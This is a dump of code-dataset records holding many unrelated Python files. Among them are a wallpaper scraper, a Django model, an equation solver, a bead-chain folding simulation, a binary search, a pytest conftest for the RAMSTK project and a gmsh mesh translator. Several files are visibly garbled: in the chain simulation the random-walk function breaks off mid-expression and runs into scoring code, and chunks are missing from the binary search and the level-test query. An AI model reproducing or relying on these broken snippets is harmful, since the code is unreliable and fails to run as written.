img_loc='http://wallpapers.wallhaven.cc/wallpapers/full/wallhaven-'+name+'.jpg'\n print('正在下载%s'%name)\n response=requests.get(img_loc)\n content=response.content\n with open('/Users/576670267/Desktop/haven/'+str(name)+'.jpg','wb') as f: \n f.write(content)\n f.close()\n print('%s完毕'%name)\ndef get_urls(url):\n response=requests.get(url).text\n soup=BeautifulSoup(response,'lxml')\n mat=re.compile(r'a class=\"preview\" href=\"(.*?\\d+)\" target=\"_blank\"')\n img_url=re.findall(mat,str(soup))\n return img_url[0:5]\nif __name__=='__main__':\n start=time()\n for i in range(3,6):\n print('第%s页'%i)\n url='https://alpha.wallhaven.cc/search?q=&categories=001&purity=100&sorting=toplist&order=asc&page='+str(i)\n img_url=get_urls(url)\n print('开始下载')\n threads=[]\n for url in img_url:\n t=Thread(target=down_img,args=(url,)) \n threads.append(t)\n t.setDaemon(True)\n for t in threads:\n t.start() \n t.join()\n print('wanbi') \n end=time()\n print('共运行%s秒'%(end-start))\n \n \n \n","sub_path":"havenwall.py","file_name":"havenwall.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"551568227","text":"from django.db import models\n\nfrom filer.fields.image import FilerImageField\nfrom cms.models.fields import PlaceholderField\n\n\nclass Staff(models.Model):\n\tfull_name = models.CharField(\n\t\tblank=False,\n\t\tdefault='',\n\t\tmax_length=64,\n\t\tunique=True,\n\t\t)\n\n\tphoto = FilerImageField(\n\t\tblank=True,\n\t\tnull=True,\n\t\ton_delete=models.SET_NULL,\n\t)\n\n\tbio = PlaceholderField('staff_bio')\n\n\tdef __unicode__(self):\n\t\treturn self.full_name\n","sub_path":"app/staff/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"188612185","text":"from usergraph import Graph\n\nclass LimitedDeployment:\n def __init__(self, graph, version, user, threshold):\n self.graph = graph\n self.root = user\n self.threshold = threshold\n self.version = version\n\n # determines how close the infection number to the threshold\n # e.g. if tolearnce=1 and threshold=4 infected nodes will be\n # between 3 and 5\n self.tolerance = 1\n\n def deploy(self):\n\n visited = {}\n path = []\n stack = []\n stack.append(self.root)\n limit = int(self.threshold)\n\n inconsistency = 1\n min_inconsistency = 1\n min_inconsistency_node = self.root.name\n\n # DFS approach to minimize the inconsistencies among the Nodes\n while len(stack) != 0 and limit+self.tolerance != 0:\n user = stack.pop()\n connections = self.graph.connections[user.name]\n visited[user.name] = True\n path.append(user.name)\n for index in connections:\n if index not in visited:\n # Add all univisted children to the stack\n inconsistency += 1\n stack.append(connections[index])\n\n limit -= 1\n inconsistency -= 1\n\n # check for the minimum inconsistency in the tolerance region\n # and set the min inconsistency node\n if limit == self.tolerance:\n min_inconsistency = inconsistency\n min_inconsistency_node = user.name\n\n if limit < self.tolerance and limit >= self.tolerance*-1:\n if inconsistency < min_inconsistency:\n min_inconsistency = inconsistency\n min_inconsistency_node = user.name\n\n # Iterate over the path till min inconsistency node\n # and deploy new version\n count = 0\n for name in path:\n count += 1;\n if name != min_inconsistency_node:\n user = self.graph.getUser(name)\n user.switchToNewVersion(self.version)\n else:\n user = self.graph.getUser(name)\n user.switchToNewVersion(self.version)\n break\n\n return count\n","sub_path":"classes/limited_deployment.py","file_name":"limited_deployment.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"628470359","text":"import re, unittest, numpy as np\nfrom collections import Counter\n\n\ndef put_matrix(phrase):\n \"\"\"\n method for solution eq matrix by eq phrase\n\n :param phrase: equation phrase\n :return: eq matrix solution\n \"\"\"\n # separation\n fragments = phrase.split()\n\n # add unit coefficient\n for i in range(len(fragments)):\n if fragments[i][0] not in '1234567890*+-=':\n fragments[i] = '1' + fragments[i]\n\n # negative coefficient check\n for i in range(len(fragments) - 1):\n if fragments[i][0] is '-' and len(fragments[i]) == 1:\n fragments[i + 1] = '-' + fragments[i + 1]\n\n # matrix fragmentation\n eq_m = []\n sol_m = []\n nl = -2\n for i in range(len(fragments)):\n if fragments[i] is '=':\n eq_m.append(fragments[nl+2:i])\n sol_m.append(fragments[i + 1])\n nl = i\n\n # solution\n if sol_m and eq_m:\n\n # check for solution opportunity of equation\n system = [ext_matrix(eq_m[i]) for i in range(len(eq_m))]\n solution = ext_matrix(sol_m)\n try:\n ans = sol(system, solution, eq_type='linear')\n except np.linalg.LinAlgError:\n ans = 'cannot solve matrix. Check the description'\n\n # check for unique variables of equation\n l = ' '.join(eq_m[0])\n for i in set(l) - set('1234567890*+-= '):\n if not Counter(l).get(i) == 1:\n ans = 'cannot solve matrix. Check the description'\n\n else:\n ans = 'you entered the empty value'\n return ans\n\n\ndef ext_matrix(lines):\n nums = [re.findall(r'[-+]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:[eE][-+]?\\d+)?', lines[i]) for i in range(len(lines))]\n matrix0 = np.array(list(filter(None, [[float(i) for i in line] for line in nums])))\n matrix = [i[0] for i in matrix0]\n return matrix\n\n\ndef sol(system, solution, eq_type):\n if eq_type == 'linear':\n ans = np.linalg.solve(system, solution)\n if eq_type == 'differential':\n ans = 'differential equation was solved'\n return ans\n","sub_path":"solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"643934852","text":"#!/usr/bin/python3\n\n#import handy python modules\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as anim\nimport time\nfrom matplotlib.ticker import MaxNLocator\nimport argparse\n\n\n\n############ CMD PARSE ############\n\nparser = argparse.ArgumentParser(description='Simulate a chain of beads.')\n\nparser.add_argument('chain',\n type=str, metavar='CHAIN_FILE', default='chain.dat',\n help='file with chain definition')\n\nparser.add_argument(\t'-s', dest='steps',\n\t\t\ttype=int, default=5000,\n\t\t\thelp='number of steps (default 5000)')\n\nparser.add_argument(\t'-n', dest='perts',\n\t\t\ttype=int, default=10,\n\t\t\thelp='number of perturbations per steps (default 10)')\n\nparser.add_argument(\t'-e', dest='enefile',\n\t\t\ttype=str, default=None,\n\t\t\thelp='energy output file')\n\nparser.add_argument(\t'-p', dest='splot',\n\t\t\ttype=float, default=1,\n\t\t\thelp='skip plotting this many steps')\n\nparser.add_argument(\t'--score', dest='score',\n\t\t\ttype=float, default=2,\n\t\t\thelp='interaction score (default 2)')\n\nparser.add_argument('--noMetropolis', dest='noMetropolis',help='use the Metropolis criterion' , action='store_false')\n\nargs = parser.parse_args()\n\n############ READ CHAIN ############\n\nprint(\"Reading chain file: \" + args.chain)\n\nchain_file = open(args.chain, \"r\")\nlines = chain_file.readlines()\ncline = lines[0].strip()\nchain_file.close()\n\nNrResidues = len(cline)\nNrSteps = args.steps\n\nindexHPL = []\nindexHPH = []\n\nfor i in range(NrResidues):\n b = cline[i]\n if len(b) == 0: continue\n if b == \"W\":\n indexHPL.append(i)\n elif b == \"H\":\n indexHPH.append(i)\n else:\n print(\"ERROR: invalid bead type '\" + b + \"' found in chain file\")\n exit(-1)\n\n############ SIMULATION ############\n\nif args.enefile != None:\n eneFile = open(args.enefile,\"w\")\n\n# This is a function which takes a number of random steps in 1 dimension\ndef randomWalkN(dimension, residues):\n\n # Make an array to fill with 2D-positions\n base = np.zeros(dimension)\n positions = np.tile(base,(residues,1))\n k=0\n lim=100\n # Make as many steps as required\n while(len(set(map(tuple,positions)))1):\n Tscore+=args.score\n j+=1\n return Tscore\n\ndef center(chain, position):\n newchain = np.copy(chain)\n newchain[:,0] = chain[:,0] - chain[int(position),0]\n newchain[:,1] = chain[:,1] - chain[int(position),1]\n return newchain\n\nrealStepCount = 0\n\ndef updateNewChain(i):\n #Nchain = randomWalkN(2,NrResidues)\n global chain\n global score\n global bestChain\n global bestScore\n global realStepCount\n\n best = False\n while not best:\n if realStepCount >= NrSteps:\n break\n \n Tchain = np.copy(chain)\n for i in np.arange(args.perts):\n res = np.random.randint(NrResidues)\n Tchain = perturbChain(Tchain,res)\n Tscore = scoreChain(Tchain)\n\n if args.noMetropolis:\n if(Tscore>score):\n chain = Tchain\n score = Tscore\n elif(np.random.rand()bestScore\n\n if best:\n bestScore = Tscore\n bestChain = Tchain\n \n realStepCount += 1\n \n if realStepCount % args.splot == 0:\n break\n\n if True:\n ax1.cla()\n ax1.plot(chain[:,0],chain[:,1],lw=1, alpha=0.5,color='gray')\n ax1.scatter(chain[:,0],chain[:,1],s=350,c=HPL,cmap=plt.cm.YlGnBu,lw=2,edgecolors='black',vmin=-0.5,vmax=1.5)\n ax1.plot(bestChain[:,0],bestChain[:,1]-15,lw=1, alpha=0.5,color='gray')\n ax1.scatter(bestChain[:,0],bestChain[:,1]-15,s=350,c=HPL,cmap=plt.cm.YlGnBu,lw=2,edgecolors='black',vmin=-0.5,vmax=1.5)\n ax1.set_xlim([-20,20])\n ax1.set_ylim([-30,15])\n textstr = 'The best score is %.2f'%(bestScore)\n ax1.text(np.min(bestChain[:,0])-5,np.max(bestChain[:,1])-20,textstr)\n textstr = 'Step %d'%(realStepCount)\n ax1.text(np.min(bestChain[:,0])-5,np.max(bestChain[:,1])-21,textstr)\n \n if args.enefile != None:\n eneFile.flush()\n# --------------- THE PROGAM STARTS HERE, AND USES THE ABOVE FUNCTION -----------------\n\nHPL = np.zeros(NrResidues)\nfor i in indexHPL:\n if(i=lower)\\\n .filter(Word.freqlemfilms<=upper)\n ran = int(random.random() * 20000) % words.count()\n ran2 = int(random.random() * 20000) % words.count()\n wordTest[i] = testGenerator.generateExercise(words[ran].lemme)\n return wordTest","sub_path":"app/Exercise/LevelTest.py","file_name":"LevelTest.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"358192901","text":"class SimpleManager:\n def __enter__(self):\n print('Entering context manager')\n return 'resource'\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n if exc_type:\n print('Exception occured:', exc_type.__name__)\n print('Leaving context manager')\n\n\n# with SimpleManager() as resource:\n# print('Inside context manager')\n# raise ValueError\n# print('Resource:', resource)\n#\n#\n# print()\n\n\ndef simulate_with(manager, with_body):\n exception = None\n\n try:\n resource = manager.__enter__()\n with_body(resource)\n except Exception as error:\n exception = error\n finally:\n ex_type = None\n ex_value = None\n ex_traceback = None\n\n if exception:\n ex_type = exception.__class__\n ex_value = exception.args\n ex_traceback = exception.__traceback__\n\n manager.__exit__(ex_type, ex_value, ex_traceback)\n\n if exception:\n raise exception\n\n\ndef with_body(resource):\n print('Inside context manager')\n print('Resource:', resource)\n raise ValueError\n\n\nsimulate_with(SimpleManager(), with_body)\n","sub_path":"example5.py","file_name":"example5.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"250498078","text":"from .tool.func import *\n\ndef list_admin_use_2(conn):\n curs = conn.cursor()\n \n num = int(number_check(flask.request.args.get('num', '1')))\n if num * 50 > 0:\n sql_num = num * 50 - 50\n else:\n sql_num = 0\n\n list_data = '
    '\n\n curs.execute(\"select who, what, time from re_admin order by time desc limit ?, '50'\", [str(sql_num)])\n get_list = curs.fetchall()\n for data in get_list: \n list_data += '
  • ' + ip_pas(data[0]) + ' / ' + data[1] + ' / ' + data[2] + '
  • '\n\n list_data += '
'\n list_data += next_fix('/admin_log?num=', num, get_list)\n\n return easy_minify(flask.render_template(skin_check(), \n imp = [load_lang('authority_use_list'), wiki_set(), custom(), other2([0, 0])],\n data = list_data,\n menu = [['other', load_lang('return')]]\n ))","sub_path":"route/list_admin_use.py","file_name":"list_admin_use.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"44405781","text":"def shiftedBinarySearch(array, target):\n left , right = 0 , len(array)-1\n while left<=right:\n mid=(left+right)//2\n if array[mid]==target:\n return mid\n if array[mid]<=array[right]:\n if array[mid] reliaqual com\n\"\"\"RAMSTK test suite configuration module.\"\"\"\n\nimport os\nimport platform\nimport sys\nimport tempfile\nimport glob\nimport csv\nimport gettext\nimport xml.etree.ElementTree as ET\nimport xlwt\n\nimport pytest\n\nimport ramstk.Utilities as Utilities\nfrom ramstk.Configuration import Configuration\nfrom ramstk.dao import DAO\nfrom ramstk.dao.RAMSTKProgramDB import do_create_test_database\n\n_ = gettext.gettext\n\nTEMPDIR = tempfile.gettempdir()\n\ntry:\n VIRTUAL_ENV = glob.glob(os.environ['VIRTUAL_ENV'])[0]\nexcept KeyError:\n if platform.system() == 'Linux':\n VIRTUAL_ENV = os.getenv('HOME') + '/.local'\n elif platform.system() == 'Windows':\n VIRTUAL_ENV = os.getenv('TEMP')\n else:\n print(\"The {0:s} system platform is not \"\n \"supported.\").format(platform.system())\n sys.exit(1)\n\nSRC_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nCONF_DIR = VIRTUAL_ENV + '/share/RAMSTK'\nDATA_DIR = CONF_DIR + '/data'\nICON_DIR = CONF_DIR + '/icons'\nTMP_DIR = VIRTUAL_ENV + '/tmp'\nLOG_DIR = TMP_DIR + '/logs'\nTEST_PROGRAM_DB_PATH = TMP_DIR + '/TestDB.ramstk'\nTEST_COMMON_DB_PATH = TMP_DIR + '/TestCommonDB.ramstk'\nTEST_PROGRAM_DB_URI = 'sqlite:///' + TEST_PROGRAM_DB_PATH\nTEST_COMMON_DB_URI = 'sqlite:///' + TEST_COMMON_DB_PATH\n\nDEBUG_LOG = LOG_DIR + '/RAMSTK_debug.log'\nUSER_LOG = LOG_DIR + '/RAMSTK_user.log'\nIMPORT_LOG = LOG_DIR + '/RAMSTK_import.log'\n\nHEADERS = {\n 'Function': [\n 'Revision ID', 'Function ID', 'Level', 'Function Code',\n 'Function Name', 'Parent', 'Remarks', 'Safety Critical', 'Type'\n ],\n 'Requirement': [\n 'Revision ID', 'Requirement ID', 'Derived?', 'Requirement',\n 'Figure Number', 'Owner', 'Page Number', 'Parent ID', 'Priority',\n 'Requirement Code', 'Specification', 'Requirement Type', 'Validated?',\n 'Validated Date'\n ],\n 'Hardware': [\n 'Revision ID', 'Hardware ID', 'Alt. Part Num.', 'CAGE Code',\n 'Category', 'Comp. Ref. Des.', 'Unit Cost', 'Cost Type', 'Description',\n 'Duty Cycle', 'Fig. Num.', 'LCN', 'Level', 'Supplier', 'Mission Time',\n 'Name', 'NSN', 'Page Num.', 'Parent ID', 'Part?', 'PN', 'Quantity',\n 'Ref. Des.', 'Remarks', 'Repairable?', 'Specification', 'SubCat',\n 'Tagged', 'Year of Manufacture', 'App. ID', 'Area', 'Capacitance',\n 'Configuration', 'Construction ID', 'Contact Form', 'Constact Gauge',\n 'Contact Rating ID', 'Operating Current', 'Rated Current',\n 'Current Ratio', 'Active Environment', 'Dormant Environment', 'Family',\n 'Feature Size', 'Operating Freq.', 'Insert ID', 'Insulation ID',\n 'Manufacturing ID', 'Matching', 'Num. Active Pins', 'Num. Ckt. Planes',\n 'Num. Cycles', 'Num. Elements', 'Hand Soldered', 'Wave Soldered',\n 'Operating Life', 'Overstressed?', 'Package ID', 'Operating Power',\n 'Rated Power', 'Power Ratio', 'Overstress Reason', 'Resistance',\n 'Specification ID', 'Tech. ID', 'Active Temp.', 'Case Temp.',\n 'Dormant Temp.', 'Hot Spot Temp.', 'Junction Temp.', 'Knee Temp.',\n 'Max. Rated Temp.', 'Min. Rated Temp.', 'Temperature Rise', 'Theta JC',\n 'Type', 'AC Operating Voltage', 'DC Operating Voltage',\n 'ESD Withstand Volts', 'Rated Voltage', 'Voltage Ratio', 'Weight',\n 'Years in Prod.', 'Add. Adj. Factor', 'Fail. Dist. ID', 'h(t) Method',\n 'h(t) Model', 'Specified h(t)', 'h(t) Type', 'Location',\n 'Specified MTBF', 'Mult. Adj. Factor', 'Quality', 'R(t) Goal',\n 'R(t) Goal Measure', 'Scale Parameter', 'Shape Parameter',\n 'Surv. Analysis'\n ],\n 'Validation': [\n 'Revision ID', 'Validation ID', 'Maximum Acceptable',\n 'Mean Acceptable', 'Minimum Acceptable', 'Acceptable Variance',\n 's-Confidence', 'Avg. Task Cost', 'Max. Task Cost', 'Min. Task Cost',\n 'Start Date', 'Finish Date', 'Description', 'Unit of Measure',\n 'Task Name', 'Status', 'Type', 'Task Spec.', 'Average Task Time',\n 'Maximum Task Time', 'Minimum Task Time'\n ]\n}\n\n# Row data for the Function import test file.\nROW_DATA = [[\n 1, 4, 1, 'PRESS-001', 'Maintain system pressure.', 0,\n 'This is a function that is about system pressure. This remarks box also needs to be larger.',\n 1, 0\n], [\n 1, 5, 1, 'FLOW-001', 'Maintain system flow.', 0,\n 'These are remarks associated with the function FLOW-001. The remarks box needs to be bigger.',\n 0, 0\n]]\n\n\n@pytest.fixture(scope='session')\ndef test_common_dao():\n \"\"\"Create a test DAO object for testing against an RAMSTK Common DB.\"\"\"\n # Create the tmp directory if it doesn't exist.\n if not os.path.exists(TMP_DIR):\n os.makedirs(TMP_DIR)\n\n # If there is an existing test database, delete it.\n if os.path.exists(TEST_COMMON_DB_PATH):\n os.remove(TEST_COMMON_DB_PATH)\n\n # Create and populate an RAMSTK Program test database.\n dao = DAO()\n dao.db_connect(TEST_COMMON_DB_URI)\n dao.db_create_common(TEST_COMMON_DB_URI, test=True)\n\n yield dao\n\n\n@pytest.fixture(scope='session')\ndef test_dao():\n \"\"\"Create a test DAO object for testing against an RAMSTK Program DB.\"\"\"\n # Create the tmp directory if it doesn't exist.\n if not os.path.exists(TMP_DIR):\n os.makedirs(TMP_DIR)\n\n # If there are existing test databases, delete them.\n if os.path.exists(TEST_PROGRAM_DB_PATH):\n os.remove(TEST_PROGRAM_DB_PATH)\n if os.path.exists(TEMPDIR + '/_ramstk_program_db.ramstk'):\n os.remove(TEMPDIR + '/_ramstk_program_db.ramstk')\n if os.path.exists(TEMPDIR + '/_ramstk_test_db.ramstk'):\n os.remove(TEMPDIR + '/_ramstk_test_db.ramstk')\n\n # Create and populate an RAMSTK Program test database.\n dao = DAO()\n dao.db_connect(TEST_PROGRAM_DB_URI)\n do_create_test_database(TEST_PROGRAM_DB_URI)\n\n yield dao\n\n\n@pytest.fixture(scope='session')\ndef test_configuration():\n \"\"\"Create configuration object to use for testing.\"\"\"\n # Create the data directory if it doesn't exist.\n if not os.path.exists(DATA_DIR):\n os.makedirs(DATA_DIR)\n\n # Create the log directory if it doesn't exist.\n if not os.path.exists(LOG_DIR):\n os.makedirs(LOG_DIR)\n\n configuration = Configuration()\n\n configuration.RAMSTK_SITE_DIR = CONF_DIR\n configuration.RAMSTK_CONF_DIR = CONF_DIR\n configuration.RAMSTK_PROG_CONF = configuration.RAMSTK_CONF_DIR + '/RAMSTK.conf'\n\n configuration.RAMSTK_COM_BACKEND = 'sqlite'\n configuration.RAMSTK_COM_INFO['host'] = 'localhost'\n configuration.RAMSTK_COM_INFO['socket'] = 3306\n configuration.RAMSTK_COM_INFO['database'] = TEST_COMMON_DB_PATH\n configuration.RAMSTK_COM_INFO['user'] = 'ramstkcom'\n configuration.RAMSTK_COM_INFO['password'] = 'ramstkcom'\n\n configuration.RAMSTK_REPORT_SIZE = 'letter'\n configuration.RAMSTK_HR_MULTIPLIER = 1000000.0\n configuration.RAMSTK_MTIME = 100.0\n configuration.RAMSTK_DEC_PLACES = 6\n configuration.RAMSTK_MODE_SOURCE = 1\n configuration.RAMSTK_TABPOS = {\n 'modulebook': 'top',\n 'listbook': 'bottom',\n 'workbook': 'bottom'\n }\n\n configuration.RAMSTK_BACKEND = 'sqlite'\n configuration.RAMSTK_PROG_INFO['host'] = 'localhost'\n configuration.RAMSTK_PROG_INFO['socket'] = 3306\n configuration.RAMSTK_PROG_INFO['database'] = TEST_PROGRAM_DB_PATH\n configuration.RAMSTK_PROG_INFO['user'] = 'johnny.tester'\n configuration.RAMSTK_PROG_INFO['password'] = 'clear.text.password'\n\n configuration.RAMSTK_DATA_DIR = DATA_DIR\n configuration.RAMSTK_ICON_DIR = ICON_DIR\n configuration.RAMSTK_LOG_DIR = LOG_DIR\n configuration.RAMSTK_PROG_DIR = TMP_DIR\n\n configuration.RAMSTK_FORMAT_FILE = {\n 'allocation': 'Allocation.xml',\n 'dfmeca': 'DFMECA.xml',\n 'failure_definition': 'FailureDefinition.xml',\n 'ffmea': 'FFMEA.xml',\n 'function': 'Function.xml',\n 'hardware': 'Hardware.xml',\n 'hazops': 'HazOps.xml',\n 'pof': 'PoF.xml',\n 'requirement': 'Requirement.xml',\n 'revision': 'Revision.xml',\n 'similaritem': 'SimilarItem.xml',\n 'stakeholder': 'Stakeholder.xml',\n 'validation': 'Validation.xml'\n }\n configuration.RAMSTK_COLORS = {\n 'functionbg': '#FFFFFF',\n 'functionfg': '#000000',\n 'hardwarebg': '#FFFFFF',\n 'hardwarefg': '#000000',\n 'requirementbg': '#FFFFFF',\n 'requirementfg': '#000000',\n 'revisionbg': '#FFFFFF',\n 'revisionfg': '#000000',\n 'stakeholderbg': '#FFFFFF',\n 'stakeholderfg': '#000000',\n 'validationbg': '#FFFFFF',\n 'validationfg': '#000000'\n }\n\n configuration.set_user_configuration()\n\n configuration.RAMSTK_DEBUG_LOG = \\\n Utilities.create_logger(\"RAMSTK.debug\", 'DEBUG', DEBUG_LOG)\n configuration.RAMSTK_USER_LOG = \\\n Utilities.create_logger(\"RAMSTK.user\", 'INFO', USER_LOG)\n configuration.RAMSTK_IMPORT_LOG = \\\n Utilities.create_logger(\"RAMSTK.user\", 'INFO', IMPORT_LOG)\n\n yield configuration\n\n\n@pytest.fixture\ndef test_csv_file_function():\n \"\"\"Create and populate a *.csv file for testing Function imports.\"\"\"\n _test_file = TMP_DIR + '/test_inputs_functions.csv'\n\n with open(_test_file, 'wb') as _csv_file:\n filewriter = csv.writer(\n _csv_file, delimiter=';', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n filewriter.writerow(HEADERS['Function'])\n filewriter.writerow(ROW_DATA[0])\n filewriter.writerow(ROW_DATA[1])\n\n yield _test_file\n\n\n@pytest.fixture\ndef test_csv_file_requirement():\n \"\"\"Create and populate a *.csv file for testing Requirement import mapping.\"\"\"\n _test_file = TMP_DIR + '/test_inputs_requirements.csv'\n\n with open(_test_file, 'wb') as _csv_file:\n filewriter = csv.writer(\n _csv_file, delimiter=';', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n filewriter.writerow(HEADERS['Requirement'])\n\n yield _test_file\n\n\n@pytest.fixture\ndef test_csv_file_hardware():\n \"\"\"Create and populate a *.csv file for testing Hardware import mapping.\"\"\"\n _test_file = TMP_DIR + '/test_inputs_hardware.csv'\n\n with open(_test_file, 'wb') as _csv_file:\n filewriter = csv.writer(\n _csv_file, delimiter=';', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n filewriter.writerow(HEADERS['Hardware'])\n\n yield _test_file\n\n\n@pytest.fixture\ndef test_csv_file_validation():\n \"\"\"Create and populate a *.csv file for testing Validation import mapping.\"\"\"\n _test_file = TMP_DIR + '/test_inputs_validation.csv'\n\n with open(_test_file, 'wb') as _csv_file:\n filewriter = csv.writer(\n _csv_file, delimiter=';', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n filewriter.writerow(HEADERS['Validation'])\n\n yield _test_file\n\n\n@pytest.fixture\ndef test_excel_file():\n \"\"\"Create and populate a *.xls file for tests.\"\"\"\n _test_file = TMP_DIR + '/test_inputs.xls'\n\n _book = xlwt.Workbook()\n _sheet = _book.add_sheet('Sheet 1', cell_overwrite_ok=True)\n\n _col = 0\n for _header in HEADERS['Function']:\n _sheet.write(0, _col, _header)\n _col += 1\n\n _row_num = 1\n for _row in ROW_DATA:\n for _data in enumerate(_row):\n _sheet.write(_row_num, _data[0], _data[1])\n _row_num += 1\n\n _book.save(_test_file)\n\n yield _test_file\n\n\n@pytest.fixture\ndef test_format_file():\n \"\"\"Create and populate a RAMSTK layout format file.\"\"\"\n _test_file = TMP_DIR + '/Test.xml'\n\n _root = ET.Element('root')\n _tree = ET.SubElement(_root, \"tree\", name=\"Test\")\n _column = ET.SubElement(_tree, \"column\")\n _usertitle = ET.SubElement(_column,\n \"defaulttitle\").text = \"Default Title 0\"\n _column = ET.SubElement(_tree, \"column\")\n _usertitle = ET.SubElement(_column,\n \"defaulttitle\").text = \"Default Title 1\"\n _column = ET.SubElement(_tree, \"column\")\n _usertitle = ET.SubElement(_column,\n \"defaulttitle\").text = \"Default Title 2\"\n _column = ET.SubElement(_tree, \"column\")\n _usertitle = ET.SubElement(_column,\n \"defaulttitle\").text = \"Default Title 3\"\n\n _layout = ET.ElementTree(_root)\n _layout.write(_test_file)\n\n yield _test_file\n\n@pytest.fixture\ndef test_export_file():\n \"\"\"Create a test file base for export testing.\"\"\"\n # This simply creates the base name of the file and directory to create it\n # in. A test would need to add the appropriate file extension.\n _test_file = TMP_DIR + '/test_export'\n\n yield _test_file\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":12713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"554921543","text":"class Customer:\n def __init__(self, email, orderTotal):\n self.email = email\n self.orderTotal = orderTotal\n self.rewardTier = None\n self.rewardName = None\n self.rewardPoints = None\n self.nextRewardTier = None\n self.nextRewardName = None\n self.tierProgress = 0.0\n\n def setReward(self, tier, name, points):\n self.rewardTier = tier\n self.rewardName = name\n self.rewardPoints = points\n \n def setNextReward(self, tier, name):\n self.nextRewardTier = tier\n self.nextRewardName = name\n\n","sub_path":"source/RewardsService/rewardsservice/model/customer.py","file_name":"customer.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"160496473","text":"\n\n\n\nimport numpy as sp # Was scipy originally.\nimport sys\nimport os\n\nclass gmshTranslator:\n \"\"\"\n gmshTranslator\n\n Class that takes an input gmsh file (.msh) and provides functionality to parse and transform\n the .msh to other formats. \n \"\"\"\n\n\n\n def __init__(self, mshfilename):\n\n self.mshfilename = mshfilename\n self.mshfid = open(mshfilename,\"r\")\n\n #Initially, parse elements to know what nodes are in which physical groups.\n reading_nodes = 0\n reading_elements = 0\n reading_physical_names = 0\n\n self.__inform__(\"Initializing...\")\n actual_path = os.path.normpath(os.path.join(os.getcwd(), self.mshfilename))\n self.__inform__(\"Opened \" + actual_path +\".\")\n\n self.Nnodes = 0\n self.Nelem = 0\n self.physical_groups = []\n self.nodes_in_physical_groups = {}\n self.physical_group_names = {}\n\n linenumber = 1\n for line in self.mshfid:\n #################################################\n # Identify begining of nodes and elements sections\n if line.find(\"$Nodes\") >= 0:\n reading_nodes = 1\n continue\n \n if line.find(\"$Elements\") >= 0:\n reading_elements = 1\n continue \n \n # HJAB 12.01/2017\n if line.find(\"$PhysicalNames\") >= 0:\n reading_physical_names = 1\n continue\n ################################################# \n\n #################################################\n #Identify end of nodes and element sections\n if line.find(\"$EndElements\") >= 0:\n reading_elements = 0\n continue\n if line.find(\"$EndNodes\") >= 0:\n reading_nodes = 0\n continue\n # HJAB 12.01/2017\n if line.find(\"$EndPhysicalNames\") >= 0:\n reading_physical_names = 0\n continue\n #################################################\n \n #If this is the first line of nodes, read the number of nodes. \n if reading_nodes == 1:\n self.Nnodes = sp.int32(line)\n self.__inform__(\"Mesh has \" + str(self.Nnodes) + \" nodes.\")\n reading_nodes = 2\n continue\n \n #If this is the first line of elements, read the number of elements\n if reading_elements == 1:\n self.Nelem = sp.int32(line)\n self.__inform__(\"Mesh has \" + str(self.Nelem) + \" elements.\")\n reading_elements = 2\n continue\n \n # HJAB 12/01/17\n if reading_physical_names == 1:\n self.Nphysnames = sp.int32(line)\n reading_physical_names = 2\n continue\n \n # Read in physical group names.\n if reading_physical_names == 2:\n str_ln = line.split()\n self.physical_group_names[sp.int32(str_ln[1])] = str_ln[2][1:-1]\n\n #Now parse elements and populate the list of nodes in groups\n if reading_elements == 2:\n sl = sp.array( line.split(), dtype = sp.int32)\n \n eletag = sl[0]\n eletype = sl[1]\n ntags = sl[2]\n physgrp = 0\n partition = 0\n\n if ntags >= 2:\n physgrp = sl[3]\n nodelist = sl[(3 + ntags)::]\n\n # sys.stdout.write(str(nodelist.size) + \" \")\n\n if physgrp in self.physical_groups:\n self.nodes_in_physical_groups[physgrp][nodelist] = 1\n else:\n self.nodes_in_physical_groups[physgrp] = -sp.ones(self.Nnodes+1, dtype=sp.int16)\n self.nodes_in_physical_groups[physgrp][nodelist] = 1\n self.physical_groups.append(physgrp)\n pass\n else:\n self.__error__(\".msh file has < 2 tags at line \" + str(linenumber))\n\n linenumber += 1\n #end for line\n self.__inform__(\"Processed \" + str(linenumber) +\" lines.\")\n self.__inform__(\"There are \" + str(len(self.physical_groups)) + \" physical groups available: \")\n for g in self.physical_groups:\n # HJAB 12/01/17 Added naming of groups.\n self.__inform__(\" > \" + str(g) + \": \" + self.physical_group_names[g])\n\n\n self.nodes_rules = []\n self.elements_rules = []\n #end def __init__\n\n self.mshfid.close()\n\n def __del__(self):\n self.mshfid.close()\n self.__inform__(\"Ending\")\n\n\n def add_elements_rule(self, condition, action):\n self.elements_rules.append((condition, action))\n pass\n\n\n def add_nodes_rule(self, condition, action):\n self.nodes_rules.append((condition, action))\n pass\n\n\n def clear_rules(self):\n self.nodes_rules = []\n self.elements_rules = []\n pass\n\n\n def parse(self):\n self.mshfid = open(self.mshfilename, 'r')\n\n\n #Advance to nodes\n line = self.mshfid.readline()\n while(line.find(\"$Nodes\") < 0):\n line = 